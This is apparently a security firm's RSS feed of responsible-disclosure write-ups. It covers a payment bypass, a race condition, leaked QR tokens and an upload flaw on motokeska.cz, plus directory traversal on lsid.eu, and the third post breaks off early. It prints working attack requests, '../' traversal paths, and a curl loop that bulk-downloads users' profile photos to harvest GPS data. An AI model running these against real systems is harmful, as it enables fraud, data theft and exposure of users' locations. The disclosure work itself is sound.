<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Vectorum</title>
    <link>https://vectorum.cz/</link>
    <description>Offensive cybersecurity · Penetration tests · Prague</description>
    <atom:link href="https://vectorum.cz/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Motokeska.cz – Payment Bypass for Free Vouchers, Plus QR Token Leaks and Location Exposure</title>
      <link>https://vectorum.cz/found-vulnerabilities/2026/motokeska-payment-bypass/</link>
      <guid>https://vectorum.cz/found-vulnerabilities/2026/motokeska-payment-bypass/</guid>
      <description>Five flaws on motokeska.cz: a payment bypass handing out free vouchers, leaked QR tokens, and profile photos exposing GPS location.</description>
      <content:encoded><![CDATA[<h1 id="executive-summary">Executive Summary</h1>
<p>A targeted security assessment of <a href="https://motokeska.cz">motokeska.cz</a> was conducted following explicit permission from the system administrator. The assessment was performed without any special privileges, simulating a realistic attacker with no insider access.</p>
<p>Five vulnerabilities were identified across four distinct attack surfaces:</p>
<ul>
<li>Voucher codes issued before payment is completed, enabling unlimited free vouchers</li>
<li>Race condition in the redemption endpoint allowing a single voucher to activate multiple routes</li>
<li>QR cache tokens exposed via a public API, enabling prize fraud without visiting real-world locations</li>
<li>Arbitrary file upload accepted by the server due to insufficient content validation</li>
<li>EXIF metadata retained in user profile images, potentially revealing GPS coordinates</li>
</ul>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-summary-1024x460.png" alt="motokeska-summary" /></p>
<p><strong>All findings were responsibly disclosed to the domain owner, who acknowledged the bugs and granted permission to publish this article.</strong></p>
<h1 id="vouchers-for-free-how-to-skip-the-payment">Vouchers for Free: How to Skip the Payment</h1>
<h2 id="description">Description</h2>
<p><a href="https://motokeska.cz">Motokeska.cz</a> allows users to purchase vouchers that unlock paid routes on the <a href="https://motokeska.cz/vanocni-voucher-motokeska-2026">voucher purchase page</a>.<br />
The purchase flow is straightforward - user fills in their email, selects a voucher type, and proceeds to payment via the GoPay gateway.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-voucher-page-1024x597.png" alt="motokeska-voucher-page" /></p>
<p>The problem? The server generates and returns a valid voucher code <strong>before the payment is completed</strong>.<br />
When the purchase is initiated, the browser calls the following API endpoint:</p>
<pre><code>POST /api/payments/coupon-payment HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Content-Type: application/json

{&quot;email&quot;:&quot;hacker@evil.com&quot;,&quot;coupon_type&quot;:&quot;single&quot;,&quot;year&quot;:2026}
</code></pre>
<p>The server responds immediately with a fully valid voucher code:</p>
<pre><code>HTTP/2 200 OK  
Content-Type: application/json
  
{  
  &quot;gw_url&quot;:&quot;https://gate.gopay.com/gw-ui/rest/v3/bf312f244c524733b673a9ee4c066000&quot;,
  &quot;id&quot;:1234567890,
  &quot;coupon_code&quot;:&quot;MOTO-ABCD123&quot;
}
</code></pre>
<p>The <code>coupon_code</code> field in the response is immediately redeemable — regardless of whether the user ever completes the payment. The payment gateway URL (<code>gw_url</code>) is present in the response, but the server never waits for a confirmation callback from GoPay before issuing the code. The voucher generation and the payment are effectively decoupled.</p>
<p>This means the endpoint can be called repeatedly, generating an unlimited number of valid vouchers at no cost.</p>
<h2 id="remediation">Remediation</h2>
<p>Voucher codes should only be generated after receiving a verified payment confirmation callback from the payment gateway. The server must never include a voucher code in the initial payment creation response — the code should only be issued once a successful payment is confirmed server-side.</p>
<h1 id="one-voucher-unlimited-routes-exploiting-a-race-condition">One Voucher, Unlimited Routes: Exploiting a Race Condition</h1>
<h2 id="description-1">Description</h2>
<p><a href="https://motokeska.cz">Motokeska.cz</a> allows authenticated users to redeem voucher codes through their <a href="https://motokeska.cz/profil">profile page</a>. Each voucher is intended to be single-use and should unlock exactly one paid route.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-voucher-profile.png" alt="motokeska-voucher-profile" /></p>
<p>The <code>/api/coupons/redeem</code> endpoint handles the redemption. A standard request looks like this:</p>
<pre><code>POST /api/coupons/redeem HTTP/2  
Host: api-dot-motokeska.ew.r.appspot.com  
Authorization: Bearer &lt;JWT&gt;  
  
{&quot;code&quot;:&quot;MOTO-ABCD123&quot;,&quot;voucher_type&quot;:&quot;single&quot;,&quot;selected_route&quot;:{&quot;year&quot;:2026,&quot;type&quot;:&quot;main&quot;,&quot;number&quot;:&quot;05&quot;}}
</code></pre>
<p>If the same voucher is redeemed sequentially for a second route, the server correctly rejects it:</p>
<blockquote>
<p>Tento voucher byl již použit. Každý voucher lze uplatnit pouze jednou.</p>
</blockquote>
<p>However, if multiple redemption requests are sent <strong>concurrently</strong> — each targeting a different route by modifying the <code>selected_route.number</code> parameter — all requests reach the server before the voucher is marked as used. Each request succeeds independently, unlocking a different paid route with the same voucher code.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-race-condition-1024x663.png" alt="motokeska-race-condition" /></p>
<h2 id="remediation-1">Remediation</h2>
<p>The redemption endpoint must validate and mark the voucher as used in a single atomic operation — not as two separate steps. A database-level transaction with a pessimistic lock (e.g. <code>SELECT FOR UPDATE</code>) ensures that once the first request reads the voucher status, no concurrent request can read it until the first one has finished writing. Any request that arrives while the lock is held should receive an error response, not a success.</p>
<h1 id="complete-the-route-without-leaving-home-how-to-cheat-the-game-via-api">Complete the Route Without Leaving Home: How to Cheat the Game via API</h1>
<h2 id="description-2">Description</h2>
<p>Motokeska is a real-world game. Players purchase a route, drive or ride to physical locations, and scan QR codes embedded in metal labels placed across the countryside. Each label looks like this:</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-qr-code.png" alt="motokeska-qr-code" /></p>
<p>Scanning the QR code on such a label redirects the player to a URL in the format:</p>
<pre><code>https://motokeska.cz/keska/2025/city/01/14?token=JyOz6oe4gC602nRCW2bV
</code></pre>
<p>The <code>token</code> parameter is what proves you were physically at the location. It is the core mechanic of the game and the entry ticket to prize draws.</p>
<p>The problem is that these tokens are exposed through a public API endpoint. Anyone can retrieve them without leaving their desk.</p>
<p>The following request returns all cache data for a given route, including the <code>token</code> values that are normally only obtainable by physically visiting the location and scanning the label:</p>
<pre><code>GET /api/caches?route_id=12&amp;year=2026 HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Authorization: Bearer &lt;JWT&gt;
</code></pre>
<p>The response includes the token for every cache on the route:</p>
<pre><code>HTTP/2 200 OK
Content-Type: application/json

[
  {
    &quot;id&quot;: 42,
    &quot;route_id&quot;: 12,
    &quot;name&quot;: &quot;Cache #1&quot;,
    &quot;qr_code_token&quot;: &quot;JyOz6oe4gC602nRCW2bV&quot;,
    &quot;gps_lat&quot;: 49.8175,
    &quot;gps_lon&quot;: 13.4734
  },
  ...
]
</code></pre>
<p>With these tokens in hand, an attacker can construct valid cache confirmation requests and submit them as if they had visited each location — completing the entire route from home, earning points, and entering the prize draw without ever starting an engine.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-cache-found.png" alt="motokeska-cache-found" /></p>
<h2 id="remediation-2">Remediation</h2>
<p>The <code>qr_code_token</code> field must never be returned by the API before the cache has been physically scanned. The token should only be used server-side to validate an incoming scan request — it has no legitimate reason to be sent to the client in advance.</p>
<h1 id="your-profile-picture-may-leak-your-location">Your Profile Picture May Leak Your Location</h1>
<h2 id="description-3">Description</h2>
<p><a href="https://motokeska.cz">Motokeska.cz</a> allows users to set a profile picture. What most users wouldn't expect is that their photo may silently reveal where they live.</p>
<p>When a user uploads a profile picture, the image is stored in a publicly accessible Google Cloud Storage bucket without any metadata sanitization. This means that if the uploaded photo contains EXIF metadata — as most smartphone photos do — that metadata is preserved and accessible to anyone who can retrieve the file.</p>
<p>The bucket can be enumerated directly through the storage endpoint, without using the application at all:</p>
<pre><code>https://storage.googleapis.com/motokeska-user-images?prefix=profile-images
</code></pre>
<p>This returns a list of all stored objects, which can then be downloaded in bulk:</p>
<pre><code>burl='https://storage.googleapis.com/motokeska-user-images/'
curl -s https://storage.googleapis.com/motokeska-user-images \
  | rg -oPN '(?&lt;=&lt;Key&gt;).*?(?=&lt;/Key&gt;)' &gt; keys.list

for key in $(cat keys.list); do
  curl -s -O &quot;${burl}${key}&quot;
done
</code></pre>
<p>Some of the uploaded photos:</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-avatars-1024x315.png" alt="motokeska-avatars" /></p>
<p>Once downloaded, the images can be inspected with <strong>exiftool</strong>. If the author did not strip the metadata before uploading, the photo may reveal the location where it was taken. An example from an iPhone:</p>
<pre><code>  [ExifIFD]   LensModel                  : iPhone 14 Pro front TrueDepth camera 2.69mm f/1.9
  [GPS]       GPSLatitude                : 50 deg 5' 11.04&quot;
  [GPS]       GPSLongitude               : 14 deg 24' 35.88&quot;
  [GPS]       GPSAltitude                : 187.0396476 m
</code></pre>
<p>A selfie taken at home and used as a profile picture just disclosed the user's home address to anyone who knows where to look.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/motokeska-location-from-photo-1024x201.png" alt="motokeska-location-from-photo" /></p>
<h2 id="remediation-3">Remediation</h2>
<p>Uploaded images should be stripped of all metadata before storage. This can be done server-side using tools such as <strong>exiftool</strong>, <strong>ImageMagick</strong>, or by re-encoding the image through an image processing library — which also serves as an additional layer of defence against malformed or malicious uploads.</p>
<h1 id="uploading-anything-when-the-server-trusts-too-much">Uploading Anything: When the Server Trusts Too Much</h1>
<h2 id="description-4">Description</h2>
<p>Motokeska.cz allows users to upload a profile picture through their profile page. The server is supposed to accept only images — but the validation is trivially bypassable.</p>
<p>The upload endpoint checks only the <code>Content-Type</code> header of the request. If the header starts with <code>image/</code>, the file is accepted — regardless of what the file actually contains. An attacker can upload any file by simply setting the header to <code>image/jpeg</code> while sending an entirely different payload:</p>
<pre><code>POST /api/users/123/profile-image HTTP/2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...

------WebKitFormBoundary
Content-Disposition: form-data; name=&quot;profileImage&quot;; filename=&quot;image.png&quot;
Content-Type: image/javascript
</code></pre>
<p>The server accepts the upload and stores the file in a publicly accessible Google Cloud Storage bucket with an extension derived from the supplied <code>Content-Type</code> — not from the actual file content.</p>
<p>There is a second issue hiding in the same endpoint. The filename stored in the bucket is derived from the user ID in the request path. Adding leading zeros to the user ID produces a different filename, while the server still accepts the request as valid:</p>
<table>
<thead>
<tr>
<th>Request path</th>
<th>Stored filename</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/api/users/3/profile-image</code></td>
<td><code>user_3.jpg</code></td>
</tr>
<tr>
<td><code>/api/users/003/profile-image</code></td>
<td><code>user_003.jpg</code></td>
</tr>
<tr>
<td><code>/api/users/00000003/profile-image</code></td>
<td><code>user_00000003.jpg</code></td>
</tr>
</tbody>
</table>
<p>This means an attacker can upload an unlimited number of files to a trusted Google Cloud Storage bucket — a bucket that may be whitelisted by other systems or CSP policies — simply by incrementing the number of leading zeros.</p>
<h2 id="remediation-4">Remediation</h2>
<p><code>Content-Type</code> headers are user-controlled and must never be trusted as the sole validation mechanism. The server should inspect the actual file content using magic byte validation and reject anything that does not match a known image format. The user identifier in the upload path must be normalized before use — leading zeros should be stripped and the resolved ID verified against the authenticated user. Enforcing one active profile image per user by replacing existing files rather than creating new ones would also eliminate the storage abuse vector.</p>
<h1 id="disclosure-timeline">Disclosure Timeline</h1>
<pre><code>9 March 2026 - requested permission from the owner of motokeska.cz (David Král) to conduct security testing
27 March 2026 - conditions reviewed and clarified
6 June 2026 - personal meeting, explanation, recommendations
7 June 2026 - sent report to owner of motokeska.cz
9 June 2026 - post published
</code></pre>
<h1 id="reward">Reward</h1>
<p>No bug bounty program exists for <a href="https://motokeska.cz">motokeska.cz</a> and no reward was requested. The report was shared voluntarily. The motokeska.cz team, entirely on their own initiative, sent a reward of CZK 20,000.</p>
]]></content:encoded>
      <pubDate>Mon, 22 Jun 2026 00:00:00 +0000</pubDate>
      <category>broken-access-control</category>
      <category>logic-flaw</category>
      <category>privacy-risk</category>
      <category>responsible-disclosure</category>
      <category>Responsible Disclosure</category>
    </item>
    <item>
      <title>Livesport bug bounty – Directory traversal at lsid.eu</title>
      <link>https://vectorum.cz/found-vulnerabilities/2025/livesport-lsid-traversal/</link>
      <guid>https://vectorum.cz/found-vulnerabilities/2025/livesport-lsid-traversal/</guid>
      <description>Directory Traversal vulnerability was identified and responsibly reported through Livesport’s official bug bounty program.</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p><strong>Directory Traversal</strong> vulnerability was identified and responsibly reported through Livesport’s official <a href="https://bugbounty.livesport.eu/">bug bounty program</a>. The vulnerability was present at <strong><a href="https://lsid.eu">https://lsid.eu</a></strong>, a service that represents a key part of <strong><a href="https://livesport.cz">https://livesport.cz</a></strong>, as it's a Node JS server for registrations, logins and managing user data.</p>
<p>So, if we want to log in to our account on <strong><a href="https://livesport.cz">https://livesport.cz</a></strong>, one of the requests sent to <strong>LSID</strong> would look like this:</p>
<pre><code class="language-http hljs">POST /v3/login HTTP/1.1
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.livesport.cz/
Content-Type: text/plain;charset=UTF-8
Content-Length: 131
Origin: https://www.livesport.cz
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close
    
{&quot;email&quot;:&quot;aaa@x.cc&quot;,&quot;password&quot;:&quot;password&quot;,&quot;namespace&quot;:&quot;flashscore&quot;,&quot;project&quot;:1}
</code></pre>
<p>Some additional API endpoints that are part of LSID:</p>
<pre><code>/v2/login
/v2/registration
/v2/logout
/v3/login
/v3/termsagree
/v3/verification
/v4/getdata
/v5/users/me/marketing-approval
/v5/users/me/terms
\[...\]
</code></pre>
<h1 id="description">Description</h1>
<p>Despite the protections and validation mechanisms that appeared to be implemented on the server, it was still possible to arbitrarily browse files and directories under the path <code>/home/fsnodeuser/app/*</code>.</p>
<p>This made it possible to access files such as:</p>
<ul>
<li><code>package.json</code></li>
<li><code>package-lock.json</code></li>
</ul>
<p>As well as various directories such as:</p>
<ul>
<li><code>node_modules</code></li>
<li><code>dist</code></li>
<li><code>lib</code></li>
</ul>
<p>and others.</p>
<p>More specifically, the <code>package.json</code> file exposed project metadata and information about its dependencies, including internal dependencies such as <code>@flashscore/&lt;name&gt;</code>, which are required for running the application in the production environment. The file also contained build-related information, including the location of the internal NPM registry, contributors, and the homepage from which the project could be downloaded.</p>
<h1 id="write-up">Write-up</h1>
<p>I went to the URL https://lsid.eu</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/03/1-1024x377.png" alt="" /></p>
<p>Then fuzzed it with <code>ffuf</code> and realized that the <code>/public</code> directory is accessible, though it seems to be misconfigured, as it returns a 500 Internal Server Error.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/03/2-1024x378.png" alt="" /></p>
<p>And if, for example, the following request is sent, the server returns the full path, and the username once again suggests that the application is running on Node.js</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/03/3-1024x245.png" alt="" /></p>
<p>It's possible to modify the request by adding <code>../</code> path traversal sequences to move to the <code>/home/fsnodeuser/app</code> directory, which then allows browsing the files and directories belonging to the application. In the example below, the contents of the <code>package.json</code> file were retrieved.</p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/../../package.json HTTP/2
Host: lsid.eu
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101
Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Sun, 09 Feb 2025 22:58:03 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: ca2bc4ea639d8137725d5924f7ad9008
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;type&quot;:&quot;Buffer&quot;, &quot;data&quot;:[123,10,9,34,110,97,109,101,34,58,32,34,108,115,105,100,3 4,44,10,9,34,118,101,114,115,105,111,110,34,58,32,34,55,46,51,46,55,34,44,10,9,3
4,116,101,109,112,108,97,116,101,86,101,114,115,105,111,110,34,58,32,34,49,46,57,4
6,51,34,44,10,9,34,100,101,115,

[...]
</code></pre>
<p>The response containing the Buffer output is fairly long in both cases (<code>package.json</code> and <code>package-lock.json</code>), so I decided to include only a partial excerpt. Since each number in the <code>data</code> array corresponds to the ASCII value of a character from the <code>package.json</code> file, it can be converted into a readable JSON representation.</p>
<p><strong>Addendum:</strong></p>
<p>Summary of files discovered in <code>/home/fsnodeuser/app</code>:</p>
<ul>
<li><code>package.json</code></li>
<li><code>package-lock.json</code></li>
</ul>
<p>Discovered directories:</p>
<ul>
<li><code>dist</code></li>
<li><code>node_modules/</code></li>
</ul>
<p>How existing directories can be identified - example: <code>node_modules</code></p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/..;/..;/..;/..;/..;/../../../../../../../node_modules HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 500 Internal Server Error
Date: Tue, 20 Aug 2024 10:10:12 GMT
Content-Type: application/json; charset=UTF-8
X-Transaction-Id: 5dc70e858e61df37701e37ff3e1fa0da
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;code&quot;:0,&quot;message&quot;:&quot;Error reading file: \&quot;/node_modules \&quot;.&quot;,&quot;name&quot;:&quot;InternalServerError&quot;}
</code></pre>
<p>Although the server returns an error message - &quot;500 Internal Server Error&quot; - it tells us that it exists, so it's possible to work with that in the next steps. So let’s take the Buffer from the previous answer and convert it into a readable format to get the package.json file:</p>
<pre><code>#!/usr/bin/env python3

import json

buffer_data = [123,10,9,34,110,97,109,101,34 ....the rest of the buffer...]

json_string = ''.join(chr(byte) for byte in buffer_data)
parsed_json = json.loads(json_string)
print(json.dumps(parsed_json, indent=4)) # Pretty print the JSON
</code></pre>
<p>A readable version of the package.json file for lsid.eu (some parts were intentionally &quot;redacted&quot;):</p>
<pre><code>{
&quot;name&quot;: &quot;lsid&quot;,
&quot;version&quot;: &quot;x.x.x&quot;,
&quot;templateVersion&quot;: &quot;x.x.x&quot;,
&quot;description&quot;: &quot;Node JS server for registrations, logins and managing user
data.&quot;
,
&quot;keywords&quot;: [
&quot;livesport&quot;,
&quot;service&quot;
,
&quot;LSID&quot;,
&quot;nodejs&quot;,
&quot;typescript&quot;
],
&quot;files&quot;: [
&quot;js&quot;
],
&quot;publishConfig&quot;: {
&quot;registry&quot;: &quot;xxxx&quot;
},
&quot;license&quot;: &quot;UNLICENSED&quot;,
&quot;author&quot;: &quot;xxx Node Team &lt;xxxx@livesport.eu&gt; (https://xxx.atla
ssian.net/xxxxxxxx)&quot;,
&quot;contributors&quot;: [
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;,
&quot;.... &lt;...@livesport.eu&gt;&quot;
],
&quot;main&quot;: &quot;./dist/index.js&quot;,
&quot;homepage&quot;: &quot;https://...&quot;,
&quot;repository&quot;: {
&quot;type&quot;: &quot;git&quot;,
&quot;url&quot;: &quot;git@...&quot;
},
&quot;engines&quot;: {
&quot;node&quot;: &quot;&gt;=v20.11.1&quot;
},
&quot;scripts&quot;: {
&quot;audit&quot;: &quot;npm audit --registry=https://registry.npmjs.org/&quot;,
&quot;audit-fix&quot;: &quot;npm run audit -- fix&quot;,
&quot;audit-prod&quot;: &quot;npm run audit -- --production&quot;,
&quot;build&quot;: &quot;tsc -p tsconfig.build.json&quot;,
ci --registry=https://..../ &amp;&amp; npm run build-dt&quot;,
&quot;build-dev&quot;: &quot;tsc -p tsconfig.dev.json &amp;&amp; npm run postbuild&quot;,
&quot;build-dev-watch&quot;: &quot;tsc -p tsconfig.dev.json &amp;&amp; (concurrently \&quot;tsc -w\&quot;
\&quot;tsc-alias -w\&quot;)&quot;,
......
,
&quot;build-dt&quot;: &quot;npm run build -- -p tsconfig.json&quot;,
&quot;build-prod&quot;: &quot;npm run build -- -p tsconfig.prod.json&quot;,
&quot;check-circular-dependencies&quot;: &quot;npx madge -c --extensions ts --ts-confi

[...]

},
&quot;dependencies&quot;: {
&quot;@flashscore/redacted-core&quot;: &quot;^3.0.1&quot;,

[...]

},
&quot;devDependencies&quot;: {

[...]

}
}
</code></pre>
<p>There are many interesting in-house dependencies in the dependencies section <code>@flashscore</code>. For the purposes of this post, however, I'll take the <code>@flashscore/redacted-core</code></p>
<p>Getting <code>package.json</code></p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redacted-core/package.json HTTP/2
Host: lsid.eu
</code></pre>
<p>The response is, as in the previous case, a &quot;Buffer&quot;, so it needs to be converted into a readable format again:</p>
<pre><code>HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:09:12 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: 7a6eca09a4db3cd451354bcef138a1d4
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;type&quot;:&quot;Buffer&quot;, &quot;data&quot;:[123,10,9,34,110,97,109,101,34,58,32,34,64,102,108,97,11
5,104,115,99,111,114,101,47,115,101,

[...]
</code></pre>
<p>Converted <code>package.json</code></p>
<pre><code>{
&quot;name&quot;: &quot;@flashscore/redacted-core&quot;
,
&quot;version&quot;: &quot;3.0.1&quot;,
&quot;description&quot;: &quot;Package includes base classes for FS Node Team microservice projects.&quot;
,
&quot;keywords&quot;: [
&quot;core&quot;
,
&quot;service&quot;
,
&quot;classes&quot;,
&quot;livesport&quot;,
&quot;flashscore&quot;
,
&quot;javascript&quot;,
&quot;typescript&quot;
],
&quot;publishConfig&quot;: {
&quot;registry&quot;: &quot;....&quot;
},
&quot;license&quot;: &quot;UNLICENSED&quot;,
&quot;author&quot;: &quot;....)&quot;,
&quot;contributors&quot;: [

[...]

],
&quot;main&quot;: &quot;./dist/index.js&quot;,
&quot;exports&quot;: {
&quot;
.&quot;: &quot;./dist/index.js&quot;,
&quot;./repositories/*&quot;: &quot;./dist/lib/repositories/*/index.js&quot;
},
&quot;types&quot;: &quot;./dist/index.d.ts&quot;,
&quot;typesVersions&quot;: {
&quot;*&quot;: {
&quot;index.d.ts&quot;: [
&quot;./dist/index.d.ts&quot;
],
&quot;repositories/*&quot;: [
&quot;./dist/lib/repositories/*/index.d.ts&quot;
]
}
},
&quot;homepage&quot;: &quot;....&quot;,
&quot;repository&quot;: {
&quot;type&quot;: &quot;git&quot;,
&quot;url&quot;: &quot;git@....&quot;
},
&quot;engines&quot;: {
&quot;node&quot;: &quot;&gt;=...&quot;
},
&quot;scripts&quot;: {},
&quot;dependencies&quot;: {
&quot;@flashscore/........
},
&quot;peerDependencies&quot;: {
&quot;@flashscore/.......
},
&quot;peerDependenciesMeta&quot;: {
&quot;@flashscore/.....&quot;: {
&quot;optional&quot;: true
},
&quot;knex&quot;: {
&quot;optional&quot;: true
}
},
&quot;devDependencies&quot;: {
&quot;@commitlint/cli&quot;: &quot;^......
&quot;@flashscore/.......[...]
}
}
</code></pre>
<p>It is possible to obtain information about both the authors and a description of what the dependency is used for, as well as what other dependencies it may use. In this way, it is possible to repeat this process for each dependency and obtain information about any internal<br />
dependencies and look for hardcoded credentials, secrets, keys, internal URLs or sensitive information.</p>
<p>In the case of <code>@flashscore/redacted-core</code>, this <code>tsconfig.test.json</code> file was discovered:</p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redacted-core/tsconfig.test.json HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Mon, 10 Feb 2025 00:07:48 GMT
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Transaction-Id: d8301857fd786064b71cb78e5b32527d
Strict-Transport-Security: max-age=31536000; includeSubDomains

{&quot;type&quot;:&quot;Buffer&quot;, &quot;data&quot;:[123,10,9,34,101,120,116,101,110,100,115,34,58,32,34,46,4 7,116,115,99,111,110,102,105,103,46,106,115,111,110,34,44,10,9,34,99,111,109,112,105,
108,101,114,79,112,116,105,111,110,115,34,58,32,123,10,9,9,34,115,111,117,114,99,101,7
7,97,112,34,58,32,116,114,117,101,10,9,125,10,125,10]}
</code></pre>
<p>Converted to:</p>
<pre><code>{
&quot;extends&quot;: &quot;./tsconfig.json&quot;,
&quot;compilerOptions&quot;: {
&quot;sourceMap&quot;: true
}
}
</code></pre>
<p><code>sourceMap</code> is set to <code>true</code>. This information could be useful during JavaScript fuzzing, where <code>.map</code> extensions could be tested automatically to determine whether they expose any potentially vulnerable code paths or sensitive implementation details.</p>
<p>Even in lsid.eu it's possible to browse through third-party dependencies such as <code>knex, lodash, mysql2, pino</code> etc. and inspect individual files to determine whether they contain any custom configurations or settings required for the proper operation of the Livesport/Flashscore application.</p>
<p>One more interesting example was this <code>redis-client</code></p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redis-client/dist/index.d.ts HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:45:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 23
X-Transaction-Id: b39a07144f2a736080595d51e351e8cf
Strict-Transport-Security: max-age=31536000; includeSubDomains

export * from './lib';
</code></pre>
<p>In this case, there was also a <code>docker-compose.yml</code> file</p>
<p><strong>Request:</strong></p>
<pre><code>GET /public/a/../../node_modules/@flashscore/redis-client/docker-compose.yml HTTP/2
Host: lsid.eu
</code></pre>
<p><strong>Response:</strong></p>
<pre><code>HTTP/2 200 OK
Date: Tue, 20 Aug 2024 10:46:12 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 210
X-Transaction-Id: 08ecd5f4dc68b9fc1eb7528b489ddab6
Strict-Transport-Security: max-age=31536000; includeSubDomains

services:
redis:
image: &lt;aaaa&gt;/redis:test
restart: 'no'
ports:
- '6378:6379'
expose:
- '6378'
</code></pre>
<h1 id="timeline">Timeline</h1>
<ul>
<li>10 February 2025: Vulnerability has been reported through <a href="https://bugbounty.livesport.eu/">https://bugbounty.livesport.eu/</a></li>
<li>10 February 2025: That same day, Livesport's Product Security IRT team informed me that they had received the report and would be processing it further.</li>
<li>17 February 2025: The vulnerability was assessed as valid, and I was informed that it has already been fixed.</li>
<li>11 April 2025: <strong>$500.00</strong> bounty and <strong>7 points</strong> into the Hall of Fame at <a href="https://bugbounty.livesport.eu/">https://bugbounty.livesport.eu/</a></li>
</ul>
]]></content:encoded>
      <pubDate>Thu, 18 Jun 2026 00:00:00 +0000</pubDate>
      <category>path-traversal</category>
      <category>bug-bounty</category>
      <category>Bug Bounty</category>
    </item>
    <item>
      <title>Livesport - Vertical privilege escalation(s)</title>
      <link>https://vectorum.cz/found-vulnerabilities/2025/livesport-priv-escalation/</link>
      <guid>https://vectorum.cz/found-vulnerabilities/2025/livesport-priv-escalation/</guid>
      <description>Business logic flaw that allowed manipulation with bonuses and competition results.</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>I was probing some Livesport properties and noticed something odd about how user registration worked on two of their subdomains - <code>bonusy.livesport.cz</code> and <code>soutez.livesport.cz</code>. What started as a fairly routine finding about a poorly secured signup endpoint quickly escalated: the same registration flaw turned out to be the entry point to full administrative access on both subdomains. One let me manipulate sports betting bonus listings shown to all users; the other let me rig Euro 2024 contest results.</p>
<p>All findings were reported to Livesport's security team, promptly fixed, and rewarded through their bug bounty program. This writeup covers the full chain across all three reports.</p>
<blockquote>
<p><strong>A note on classification:</strong> The access control issue is technically best described as <em>privilege misassignment at registration</em> - new users were granted admin-level access without any escalation step. In practice, most bug bounty programs and OWASP's Broken Access Control taxonomy (A01:2025) categorize this under Vertical Privilege Escalation, and that's how it was reported and accepted here. Worth being aware of the nuance if you're building your own reports.</p>
</blockquote>
<h1 id="the-target">The target</h1>
<p>Both affected applications are built on <a href="https://bubble.io">Bubble</a>, a no-code platform that compiles frontend interactions into API calls against a backend runtime. Bubble exposes a set of standard endpoints for user management (<code>/user/signup</code>, <code>/user/login</code>, <code>/user/hi</code>, etc.) and a workflow execution endpoint (<code>/workflow/start</code>) that drives server-side business logic. Understanding this underlying platform turned out to be key to all findings.</p>
<p>The two subdomains had different purposes but shared the same Bubble foundation and, as it turned out, the same security misconfigurations:</p>
<ul>
<li><strong><code>bonusy.livesport.cz</code></strong> - a bonus comparison page for Czech sports betting operators (Tipsport, Fortuna, Betano, Chance), showing deposit bonuses, free bet offers, and affiliate CTAs.</li>
<li><strong><code>soutez.livesport.cz</code></strong> - a contest platform tied to Euro 2024, letting users predict match outcomes for a chance to win prizes.</li>
</ul>
<h1 id="findings">Findings</h1>
<h2 id="1-insecure-user-registration-endpoint">#1: Insecure User Registration Endpoint</h2>
